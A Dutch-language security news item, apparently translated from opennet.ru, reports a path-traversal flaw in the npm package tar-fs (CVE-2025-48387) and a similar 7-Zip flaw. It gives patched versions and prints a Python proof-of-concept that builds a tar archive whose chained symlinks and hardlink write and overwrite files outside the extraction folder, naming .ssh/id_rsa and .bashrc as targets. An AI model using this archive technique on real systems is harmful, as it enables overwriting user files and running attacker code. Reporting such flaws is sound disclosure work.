In het NPM-pakket tar-fs is een kwetsbaarheid (CVE-2025-48387) ontdekt waarmee bij het uitpakken van een speciaal gemaakte tar-archief bestanden naar willekeurige delen van het bestandssysteem kunnen worden geschreven, zonder limitaties van de map waarin wordt uitgepakt (afhankelijk van de rechten van de huidige gebruiker). De kwetsbaarheid kan ook worden gebruikt om bestaande bestanden te overschrijven; bijvoorbeeld, voor het uitvoeren van eigen code in het systeem kunnen bestanden zoals «.ssh/id_rsa» of «.bashrc» in de thuismap van de gebruiker worden overschreven.
De kwestie heeft een kritieke bedreigingsgraad gekregen, gezien het feit dat het tar-fs-pakket wekelijks 23 miljoen downloads heeft en als afhankelijkheid in 1155 projecten wordt gebruikt. De kwetsbaarheid is opgelost in versies 3.0.9, 2.1.3 en 1.16.5, die in mei zijn uitgebracht, maar informatie over de kwetsbaarheid is pas bijna 3 maanden later onthuld.
De kwetsbaarheid wordt veroorzaakt door onvoldoende controles op de symbolische en harde links in het archief om te controleren of ze buiten de doelfolder voor uitpakken vallen. Om de controles te omzeilen, worden twee symbolische links gebruikt: de eerste wijst naar de hoofdmap van het archief («.»), en de tweede wordt relatief ten opzichte van de eerste symbolische link gemaakt en bevat de tekens «../» in de naam om buiten de basisfolder te komen. Bijvoorbeeld, de eerste link «noop/noop/noop» verwijst naar «.», terwijl de tweede «noop/noop/noop/../../../../..» wordt ontcijferd als «./../../../..». Om bestanden in het archief te overschrijven, kan een harde link worden gemaakt die verwijst naar een extern bestand ten opzichte van de tweede symbolische link. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («../» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Een vergelijkbare kwetsbaarheid (CVE-2025-55188) is vastgesteld in het archiveringsprogramma 7-Zip. Voor het schrijven van bestanden buiten de basisdirectory in 7-Zip kunnen ook symbolische links worden gebruikt, die de reeks «..\/» in het bestandspad bevatten. Het probleem kan worden uitgebuit bij het uitpakken met 7-Zip van elke archieftype die symbolische links ondersteunt, bijvoorbeeld zip, tar, 7z en rar. Het probleem is opgelost in versie 7-Zip 25.01.
Bron: opennet.ru
